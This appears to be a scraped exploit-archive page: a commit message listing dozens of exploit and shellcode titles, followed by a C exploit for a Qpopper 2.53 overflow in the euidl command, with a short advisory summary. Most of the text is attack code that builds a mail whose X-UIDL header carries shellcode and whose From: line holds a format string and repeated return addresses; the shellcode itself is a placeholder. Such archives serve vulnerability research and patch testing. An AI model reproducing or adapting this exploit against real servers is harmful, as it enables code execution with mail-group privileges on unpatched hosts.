880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
49 lines
No EOL
2.1 KiB
C
49 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/1242/info
|
|
|
|
A vulnerability exists in version 2.53 and prior of qpopper, a popular POP server, from Qualcomm. By placing machine executable code in the X-UIDL header field, supplying formatting strings in the "From:" field in a mail header, and then issuing, as the user the mail was sent to, a 'euidl' command, it is possible to execute arbitrary code. This code will execute as the user executing the euidl command, but with group 'mail' permissions on hosts running qpopper in that group. This is often done due to mail spool permissions.
|
|
|
|
This vulnerability does not exist in versions after 2.53. It also requires an account on the machine.
|
|
|
|
/* qpop_euidl.c exploit by prizm/Buffer0verflow Security
|
|
*
|
|
* Sample exploit for buffer overflow in Qpopper 2.53.
|
|
* This little proggie generates a mail u need to send.
|
|
*
|
|
* Standard disclaimer applies.
|
|
* By the way, exploit is broken =) You need to insert shellcode.
|
|
*
|
|
* MAD greets to tf8 for pointing out the bug, and all other b0f members.
|
|
* greets to USSRLabs and ADM
|
|
* check http://b0f.freebsd.lublin.pl/ for news.
|
|
*/
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
char shellcode[]="imnothing";
|
|
int main(int argc, char *argv[])
|
|
{
|
|
int i;
|
|
unsigned long ra=0;
|
|
if(argc!=2) {
|
|
fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
|
|
exit(0);
|
|
}
|
|
sscanf(argv[1], "%x", &ra);
|
|
if(!ra)
|
|
return;
|
|
if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
|
|
fprintf(stderr,"Bad shellcode\n");
|
|
exit(0);
|
|
}
|
|
fprintf(stderr,"return address: 0x%.8x\n", ra);
|
|
printf("X-UIDL: ");
|
|
for(i=0; i < sizeof(shellcode);i++)
|
|
printf("%c", shellcode[i]);
|
|
printf("\r\n");
|
|
printf("From: %s", "%.1000d");
|
|
for(i=0; i < 50; i++)
|
|
printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
|
|
printf("@test\r\n");
|
|
printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
|
|
return 0;
|
|
} |